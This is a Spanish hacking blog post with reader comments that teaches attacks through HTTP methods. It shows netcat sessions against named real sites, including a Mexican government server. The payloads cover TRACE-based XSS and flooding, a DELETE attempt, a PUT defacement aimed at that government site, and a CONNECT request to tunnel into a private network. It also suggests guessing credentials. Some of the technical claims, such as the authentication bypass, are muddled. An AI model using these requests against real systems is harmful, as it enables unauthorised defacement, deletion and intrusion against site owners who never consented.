Demostracion Hacking HTTP

Posted on 13:05 by Xianur0

Esto es solo un texto de introducci�n, para mas informaci�n leer sobre protocolo HTTP.

Le puse este titulo a la web, por que en este texto voy a explicar un poco de hackeo mediante M�todos HTTP y HTTP Headers.

Pocos texto se encuentran en la red sobre hackeo por m�todos HTTP, as� que muchos como yo tuvimos que aprender por las malas jaja, bueno comencemos:

Que es un Metodo HTTP?


Un Metodo HTTP es una forma u orden HTTP que es enviada a un servidor web para que dicho servidor maneje dicha informaci�n de dicha forma.

Ejemplo:

Citar
GET / HTTP/1.1
Host: google.com

En este caso estamos usando el m�todo GET, dicho m�todo sirve para obtener una pagina especifica.

Que es un Header?

Un Header es una especie de variable que contiene cierta informaci�n, como el header cookie, que contiene la cookie para el host actual.

Ejemplo:
Citar
GET / HTTP/1.1
Host: google.com
Cookie: cookie = alguna_cookie


En este caso hay 2 headers, el header Host, que le dice al servidor que web solicitamos (esto se usa en servers compartidos o dominios y subdominios) y el header cookie que contiene una cookie de nombre cookie y valor alguna_cookie (que ironia xD).

Que M�todos HTTP Existen?

Existen muchos m�todos HTTP como para listar todos, pero listare los mas usados y su uso:

GET:
Solicita una pagina.
HEAD: Esto Devuelve solo los headers de la pagina solicitada.
OPTIONS: Solicita las opciones permitidas por el server web.
POST: Remite una informaci�n (como en un login).
TRACE: Es una especie de eco, es decir lo que env�es te contesta.
PUT: Guarda en su �rbol web el archivo o registro enviado.
CONNECT: Este M�todo crea una conexi�n con el servidor especificado, esto es �til para hacer tunnelings.
DELETE: Borra un Registro o Archivo especificado.

Vamos uno por uno con ejemplos:

Citar
UxMal ~ # nc -vvv www.cursohacker.com 80
DNS fwd/rev mismatch: www.cursohacker.com != alumnoz.com
www.cursohacker.com [64.246.22.103] 80 (http) open
OPTIONS / HTTP/1.1
Host: cursohacker.com

HTTP/1.1 200 OK
Date: Sat, 19 Jan 2008 21:18:54 GMT
Server: Apache/2.0.46 (Red Hat)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: application/x-httpd-php

sent 42, rcvd 183
Enviamos un Options, y nos devolvi� los m�todos:

Citar
Allow: GET,HEAD,POST,OPTIONS,TRACE

Me dir�n y esto de que nos sirve?
Simple:

El metodo TRACE, a realizar un eco, podemos utilizarlo para hacer un XSS, y por enden un Cookie Spoofing, al mismo tiempo esto puede ser usado para Saltar la protecci�n HTTPOnly de las cookies, y aparte de esto, las protecciones de Consumo de Banda quedan b�sicamente in�tiles, ya que casi ninguna filtra el m�todo TRACE, por ello la banda no se cuenta y se puede utilizar para floodear al servidor.

Citar
TRACE / HTTP/1.0
Host: cursohacker.com
XSS: <script>alert('UxMal Was Here')</script>


Citar
TRACE / HTTP/1.0
Host: cursohacker.com
DoS: mucho texto

Como ver�n hasta los de cursohacker.com tienen problemas con esto jejeje, Bueno Vamos por mas:

Citar
UxMal ~ # nc -vvv www.sep.gob.mx 80
Warning: inverse host lookup failed for 168.255.253.26: Unknown host
www.sep.gob.mx [168.255.253.26] 80 (http) open
OPTIONS / HTTP/1.0
Host: sep.gob.mx

HTTP/1.1 200 OK
Server: Sun-ONE-Application-Server/7.0.0_09
Date: Sat, 19 Jan 2008 23:58:05 GMT
Content-length: 0
Content-type: text/html
Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS
Connection: close

sent 37, rcvd 217

Permite:

Citar
GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS

Vamos a Probar DELETE:
Citar
UxMal ~ # nc -vvv www.sep.gob.mx 80
Warning: inverse host lookup failed for 168.255.253.26: Unknown host
www.sep.gob.mx [168.255.253.26] 80 (http) open
DELETE /index.htm HTTP/1.1
Host: sep.gob.mx

HTTP/1.1 401 Unauthorized
Server: Sun-ONE-Application-Server/7.0.0_09
Date: Sun, 20 Jan 2008 00:02:22 GMT
Content-length: 223
Content-type: text/html
WWW-authenticate: Basic realm="Sun ONE Application Server"

<HTML><HEAD><TITLE>Unauthorized&lt/TITLE></HEAD&gt
<BODY><H1>Unauthorized</H1>
Proper authorization is required for this area. Either your browser does not perform authorization, or your authorization has failed.
</BODY></HTML>
P�rese que tiene un ligero filtro, como lo saltamos?, simple, creamos un header WWW-authenticate, com�nmente los servidores no tienen un password seteado para esto o casi siempre el usuario y/o password es el dominio.

Un PUT:

El Header PUT, como ya dije sirve para crear un archivo o registro en el �rbol web del server.

Por ello sirve como upload:

Citar
PUT /hacked.htm HTTP/1.1
Host: www.sep.gob.mx
Content-Lengt: cantidad de bites del archivo

<h1>UxMal Was Here</h1>


CONNECT:

Citar
CONNECT 192.168.1.1 HTTP/1.1
Host: webvulnerable.com

GET / HTTP/1.0


De esta Forma nos conectar�amos a la ip 192.168.1.1 (ip privada) dentro de la red del servidor web y solicitamos /, Lo De mas Queda a la imaginaci�n...

Esto es solo un texto de introducci�n, para mas informaci�n leer sobre protocolo HTTP.

Nota: estos m�todos son un poco viejos, pero como demostr� aun sirve jejeje.

2 comentarios:

Vengador de las Sombras dijo...

Saludos!

Xianur0... creo que cuando usas PUT comentes un pequeño error y es que es necesario hacer un conteng-lengt con el número de caracteres de lo que modificamos.

Xianur0 dijo...

Corregido Vengador de las sombras, ciertamente se me paso :) gracias.